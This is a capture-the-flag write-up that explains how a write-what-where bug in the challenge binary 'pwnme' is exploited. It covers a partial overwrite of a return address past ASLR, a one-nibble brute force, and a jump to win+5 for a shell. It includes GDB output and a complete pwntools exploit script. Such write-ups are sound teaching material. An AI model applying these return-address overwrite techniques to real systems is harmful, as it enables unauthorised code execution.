BlueHens CTF Pwn Write-up: Pure Write, What, Where

2024-11-10

Understanding the Binary

First things first, start by executing the binary blindly to get a feel for its behavior, and use checksec to check which mitigations are enabled.

$ ./pwnme 
Welcome to PWN 102, Write-What-Where:

a
Nah.
$ checksec --file=pwnme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols        No    0               0               pwnme

Since all mitigations are enabled and no libc is provided, it’s reasonable to assume there’s a win() function that might execute system("/bin/sh"). Running the binary didn’t reveal much useful information, so I moved on to reverse-engineering it. Using Binary Ninja to analyze the Pseudo C code, I saw that it prompts the user for two numbers via scanf calls: one of int32 size and another of int16 size.

int64_t vuln() {
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    int32_t user_input_1 = 0;
    int16_t user_input_2 = 0;
    
    puts("Welcome to PWN 102, Write-What-W…");
    __isoc99_scanf(&data_2037, &user_input_1);
    __isoc99_scanf(&data_203a, &user_input_2);

    void var_78;
    *(uint16_t*)(&var_78 + (((int64_t)user_input_1) << 1)) = user_input_2;
    
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
        return (rax - *(uint64_t*)((char*)fsbase + 0x28));
    
    __stack_chk_fail();
    /* no return */
}

int64_t win() {
      return system("/bin/sh");
  }

So, what’s happening here? It seems like user_input_1 determines where we’re writing, while user_input_2 determines what we’re writing. In the assembly, we can see this in action: the program moves the values into registers eax and edx, then moves dx (our int16 value) to the address rbp + rax*2 - 0x70. The rbp + rax*2 part makes sense—it’s calculating an offset. The -0x70 adjustment, however, is a bit trickier. It likely shifts the base offset to target a specific location in the stack frame, possibly within a buffer. This offsetting suggests we have some control over a range of memory based on user_input_1’s value.

*(uint16_t*)(&var_78 + (((int64_t)user_input_1) << 1)) = user_input_2;
// mov     eax, dword [rbp-0x74 {user_input_1}]
// movzx   edx, word [rbp-0x76 {user_input_2}]
// mov     word [rbp+rax*2-0x70 {var_78}], dx

Exploitation

Let’s summarize what we know so far:

  • Goal: We need to reach the win() function to trigger a shell.
  • Control: We have a controlled but limited overwrite on the stack.

This means that by carefully setting user_input_1 and user_input_2, we might be able to manipulate specific values in memory to direct execution toward win().

Now, let’s investigate potential addresses on the stack. My initial thought was to locate the ret address on the stack and overwrite it to point directly to win(). To test this, I set a breakpoint right after the second scanf() to step through the mov instruction where our input values would be written.

Through a bit of trial and error— running and breaking at the same spot each time— I determined that the ret address was located 60 bytes away. So, I entered 60 (the offset) and 48879 (the target overwrite value 0xbeef) into the program, and saw the stack begin to take shape as I wanted.

(remote) gef➤  x/30xg $rsp
0x7fffce606820: 0x0000000000140000      0x0000003cbeef34e0
0x7fffce606830: 0x0000000000000000      0x00007fdba0fcc45a
0x7fffce606840: 0x000000000000000a      0x00007fdba11234e0
0x7fffce606850: 0x00007fdba1120ff0      0x0000000000000000
0x7fffce606860: 0x0000000000000000      0x00007fdba0fc9c79
0x7fffce606870: 0x00007fdba11234e0      0x00007fdba0fc075d
0x7fffce606880: 0x00007fffce6069c8      0x00007fffce6068b0
0x7fffce606890: 0x0000000000000000      0x7663c118b99fcc00
0x7fffce6068a0: 0x00007fffce6068b0      0x00005580fd8b**beef**

We confirmed this is indeed the return address, as there’s a stack canary nearby preventing straightforward buffer overflows. I used 48879 (0xbeef) as a placeholder value for easy visual identification.

So, it might seem simple from here: just redirect the return address to win(). But there’s a complication— ASLR is enabled, meaning the win() function’s address will vary each time the program runs. Let’s take a closer look at the win() address to understand our options.

Bypassing ASLR

With ASLR enabled, only the most significant bits of the address are randomized. This partial randomization means that while the exact address of win() changes on each run, the lower bits remain consistent. By focusing on these predictable bits, we can potentially bypass ASLR with a brute-force approach or by finding a leak that reveals the randomized portion of the address.

gef➤ x/i win
   0x5580fd8b433d <win>:        endbr64
 
* rerun binary * 

gef➤ x/i win
   0x55d9c9dca33d <win>:        endbr64

// 0x5580fd8b433d
// 0x55d9c9dca33d

By comparing the addresses across multiple executions, we notice that although they aren’t identical, the last three bytes remain consistent at 0x33d. Here’s where a light bulb might go off—what if we just overwrite the ret address with 0x33d? Could that land us in the win() function? To test this, I entered 60 (for the offset) and 839 (our target value in decimal for 0x33d). Now, let’s examine the ret address again and see if it takes us where we need to go.

gef➤  x/30xg $rsp
0x7ffc7ab89160: 0x0000000000140000      0x0000003c033d44e0
0x7ffc7ab89170: 0x0000000000000000      0x00007fb9a48ed45a
0x7ffc7ab89180: 0x000000000000000a      0x00007fb9a4a444e0
0x7ffc7ab89190: 0x00007fb9a4a41ff0      0x0000000000000000
0x7ffc7ab891a0: 0x0000000000000000      0x00007fb9a48eac79
0x7ffc7ab891b0: 0x00007fb9a4a444e0      0x00007fb9a48e175d
0x7ffc7ab891c0: 0x00007ffc7ab89308      0x00007ffc7ab891f0
0x7ffc7ab891d0: 0x0000000000000000      0x6df5de332ae29000
0x7ffc7ab891e0: 0x00007ffc7ab891f0      0x0000562c355e033d
gef➤  x/i win
0x562c355e533d <win>:        endbr64

We’re very close now—just one byte off. The expected address is 0x533d, but our overwrite ends up at 0x033d. This is a case of a partial overwrite, where only part of the address is under our control. There’s one byte we still need to guess, but what are the odds? With the possible range [0-F], there’s a 1 in 16 chance of hitting the correct byte—honestly, not bad odds for taking control of the entire binary.

I wasn’t too confident with 0x033d, so I decided to try 0x133d instead. That should work. I ran my script a few times, hoping to hit the win() function. After a few attempts, I set a breakpoint at win() and, sure enough, managed to hit it!

0x560df41c133d <win+0>          endbr64
[#0] Id 1, Name: "pwnme", stopped 0x560df41c133d in win (), reason: BREAKPOINT
[#0] 0x560df41c133d → win()

Now, let’s enjoy our shell… or maybe not?

[#0] Id 1, Name: "pwnme", stopped 0x7f7d97a7cd3b in do_system (), reason: SIGSEGV
[#0] 0x7f7d97a7cd3b → do_system(line=0x560df41c203e "/bin/sh")
[#1] 0x560df41c1354 → win()

What do you mean I don’t get my shell >:(

Our win() function failed, and based on the backtrace, the issue seems to be in the do_system call. We know that win() simply calls the system command, so why would it segfault? Let’s take a closer look at the moment right before system is called from win(), which occurs at <win+18>.

system@plt (
   $rdi = 0x000055e752d2703e → 0x0068732f6e69622f ("/bin/sh"?),
   $rsi = 0x000000000000033d,
   $rdx = 0x000000000000633d
)

Ah, it turns out that our input from the vuln function is still sitting in registers rsi and rdx, being used as parameters for system, which is likely causing the segfault. When we first attempted this, our goal was to jump directly to win(), starting at the first instruction, endbr64. Since we need to adjust our 33d to something that won’t cause a crash, I went through the instructions in win() one by one until I found one that didn’t lead to a segfault.

gef➤  x/5i win 
   0x55e752d2633d <win>:        endbr64
   0x55e752d26341 <win+4>:      push   rbp
   0x55e752d26342 <win+5>:      mov    rbp,rsp

In my case, I used 342 = win+5, which seemed to work without causing any segfaults. Since this was a CTF and time was limited, I didn’t get a chance to fully explore the parameters of system() and what each one sets. If you’re a more experienced CTFer than I am, I’m sure you took the time to dig into that!

Shell

Now go grab your shell! We jump to the win+5 address at 342 and, once again, guess that one byte, hoping for a bit of luck. When it all came together, I was greeted with a nice shell.

[*] Switching to interactive mode
uid=1000(pwnuser) gid=1001(pwnuser) groups=1001(pwnuser),1000(ctf)
$ ls
flag.txt

Takeaways

This challenge was a fun exercise—not too intense, but definitely engaging. A question I often get is, “How do you even know where to start?” It’s a fair one. If you’re just beginning, Capture the Flags (CTFs) aren’t the best place to start. They’re fantastic for practicing and pushing yourself once you have a grasp of the fundamentals, but starting here can be overwhelming if you haven’t nailed down the basics.

My recommendation is to begin by learning about mitigations— understanding protections like ASLR and DEP is essential. Knowing why they exist and how to bypass them can make or break your approach.

A great resource for learning these mitigations and bypasses is Ir0nstone. It’s a solid entry point for understanding exploit mitigations and how to approach them. Another option is Ret2System Wargames, which is an incredible intro to binary exploitation. It’s a paid resource, but it’s worth it if you’re serious about mastering the foundations of exploitation. Finally, practice is everything. Write your own vulnerable C programs, enabling and disabling various mitigations, to see firsthand how they impact your exploitation strategy.

Exploit Code

from pwn import *

exe = context.binary = ELF('pwnme')

# Start the exploit against the target
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# GDB script for debugging the exploit
gdbscript = '''
tbreak vuln
b *vuln+82
b *vuln+109
b win
continue
'''.format(**locals())

# Start the process (or remote connection if uncommented)
proc = start()
# proc = remote('0.cloud.chals.io',16612)

# Receive the banner message
data = proc.recvuntil("Write-What-Where:")
print ("Got Welcome Banner!")

# Send the payload: offset to RET address and the value to overwrite
proc.sendline("60") # RET address is 60 bytes away.
proc.sendline("21314") # 21314 = 0x5342 (desired address)

# Send 'id' command to check if we have a shell
proc.sendline("id")

# Interact with the process
proc.interactive()